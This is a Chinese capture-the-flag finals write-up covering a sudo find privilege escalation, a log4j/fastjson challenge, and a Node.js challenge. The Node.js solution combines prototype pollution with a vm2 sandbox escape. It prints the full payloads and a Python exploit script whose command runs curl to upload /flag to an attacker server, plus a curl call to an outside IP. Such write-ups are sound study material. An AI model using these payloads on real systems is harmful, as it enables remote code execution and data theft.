决赛wp ————> wp
findme 这题坑了我好久………..
题目
随便传了个值,发现是
报错 ——> 在 $PATH 中找不到可执行文件
然后就猜测是不是得用/bin/xxx这种类型的格式来写
然后当时开心坏了,但是这个直接读不了,得需要提权,当时用了好多办法,都不行,因为很难,知道看到了wp才发现自己漏了关键一步…….
得这样写才行 …. /usr/bin/xxxxx 哎 把/usr给漏了
sudo提权
先查看一下权限
提示了root权限的没有密码的/usr/bin/find能用
payload
1 /usr/bin/sudo find /flag -exec cat /flag \;
不过学到了个提权方法 之前的是用date报错来提权拿到flag的
ezjava 题目(hint —- > Try to fxxk it ( Log4j )
考点
log4j+fastjson 远程开启LDAP服务
eznode 题目
就是去找一下源码
找到了源码,然后对源码进行分析
源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 const express = require ('express' );const app = express ();const { VM } = require ('vm2' );app.use (express.json ()); const backdoor = function ( ) { try { new VM ().run ({}.shellcode ); } catch (e) { console .log (e); } } const isObject = obj => obj && obj.constructor && obj.constructor === Object ;const merge = (a, b ) => { for (var attr in b) { if (isObject (a[attr]) && isObject (b[attr])) { merge (a[attr], b[attr]); } else { a[attr] = b[attr]; } } return a } const clone = (a ) => { return merge ({}, a); } app.get ('/' , function (req, res ) { res.send ("POST some json shit to /. no source code and try to find source code" ); }); app.post ('/' , function (req, res ) { try { console .log (req.body ) var body = JSON .parse (JSON .stringify (req.body )); var copybody = clone (body) if (copybody.shit ) { backdoor () } res.send ("post shit ok" ) }catch (e){ res.send ("is it shit ?" ) console .log (e) } }) app.listen (3000 , function ( ) { console .log ('star t listening on port 3000' ); });
nodejs无非就是考原型链污染,这里开头看到了vm2
简单审计一下发现存在clone和merge两个方法配合,存在原型链污染漏洞。而引入了vm2模块且存在后门new VM().run({}.shellcode);
很容易就想到结合原型链污染进行vm2沙箱逃逸 vm2沙箱逃逸
1 2 3 let res = import ('./app.js' )res.toString .constructor ("return this" ) ().process .mainModule .require ("child_process" ).execSync ("curl http://117.78.4.229:2333" ).toString ();
这个app.js是源码 网上的exp大多输都是foo.js
要注意区分
最终payload
1 2 3 {"shit" :1 ,"__proto__" :{"shellcode" :"let res = import('./app.js') res.toString.constructor(\"return this\") ().process.mainModule.require(\"child_process\").execSync(\"whoami\").toString();" }}
这个payload在网上直接找是可以找到的,看起来并不是很难
这里就直接抓包弹shell了
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import requestsimport jsonimport sys if __name__ == "__main__" : p = sys.argv if len (p) < 2 : print ("python web3.py http://xxx.com/" ) sys.exit(0 ) url = p[1 ].strip("/" ) + "/" headers={ 'Content-Type' :'application/json' } payload={"shit" :"1" ,"__proto__" : {"shellcode" :'''let res = import('./app.js') res.toString.constructor("return this") ().process.mainModule.require("child_process").execSync("curl http://ip:8888/ -F file=@/flag").toString();''' }} requests.post(url,headers=headers,data=json.dumps(payload))
用法
然后监听端口就行了,然后就会反弹到自己的服务器上了
这里不知道为啥用bp弹不上去,只能用py脚本才能弹上去